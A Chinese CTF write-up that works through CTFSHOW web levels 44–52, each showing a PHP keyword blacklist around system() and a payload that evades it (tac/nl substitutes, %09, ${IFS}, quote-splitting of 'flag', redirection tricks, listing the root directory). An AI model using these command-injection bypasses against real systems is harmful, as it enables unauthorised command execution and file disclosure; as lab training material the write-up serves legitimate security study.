天天看點

CTFSHOW Web入門 44-52

目錄

    • web 44
    • web 45
    • web 46
    • web 47
    • web 48
    • web 49
    • web 50
    • web 51
    • web 52

web 44

if(!preg_match("/;|cat|flag/i", $c))
{system($c." >/dev/null 2>&1");
           

這題過濾了cat,flag

關于cat的過濾繞過可以用以下指令來替換

cat file1 從第一個位元組開始正向檢視檔案的内容

tac file1 從最後一行開始反向檢視一個檔案的内容

more file1 檢視一個長檔案的内容

less file1 類似于 ‘more’ 指令,但是它允許在檔案中和正向操作一樣的反向操作

head file1 檢視一個檔案

tail file1 檢視一個檔案

awk file1 檢視一個檔案

sort file1 将檔案的每一行作為一個機關,互相比較,比較原則是從首字元向後,依次按ASCII碼值進行比較,最後将他們按升序輸出。

nl file1 可以将輸出的檔案内容自動的加上行号

也可以用單雙引号,通配符,拼接等方式繞過

關于flag的過濾可以用單雙引号,通配符繞過,也利用反引号·ls·直接将全部檔案抓取

playload:?c=tac `ls`||
           

web 45

if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1"); } 
           

多過濾了空格

空格可以用以下方法替代

${IFS}

<>

%09等

playload:?c=tac%09`ls`||
           

web 46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c))
{system($c." >/dev/null 2>&1");} 
           

多過濾了數字,$,*

空格可以用<>替代,但不可以再用

ls

了,因為<,>這兩個是重定向的輸入輸出,與

ls

一起會将結果給模糊了,進而操作失敗。是以改用單雙引号繞過

這邊有重定向的詳解連結

playload:?c=tac<>fl''ag.php||
           

web 47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c))
{   system($c." >/dev/null 2>&1"); } 
           

多過濾了幾個指令,但nl,awk,tac沒被過濾

可以繼續用

playload:?c=nl<>fl''ag.php||
           

web 48

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    } 
           

好家夥,這裡可以帶上小本本,記筆記。把這些被過濾的記下來,萬一以後有哪天哪題沒過濾這些,不就秒了(狗頭)

同web48,要不nl 要不單雙引,拼接等繞過

playload:?c=nl<>fl''ag.php||
           

web 49

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1"); 
           

多過濾了%

playload同上

web 50

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    } 
           

多過濾了%09( ),%26("),問題不大

playload同web49

web 51

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    } 
           

多過濾了tac,問題不大用

playload:?c=nl<>fl''ag.php||
           

web 52

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
           

多過濾了<>,空格可以用${IFS}替代

然後同上,但得到一個虛假的flag,

然後進行查找檔案,最後在根目錄下找到了flag檔案

?c=ls${IFS}/||//查找根目錄下檔案
bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var 
playload:?c=nl${IFS}/fl''ag||
           

繼續閱讀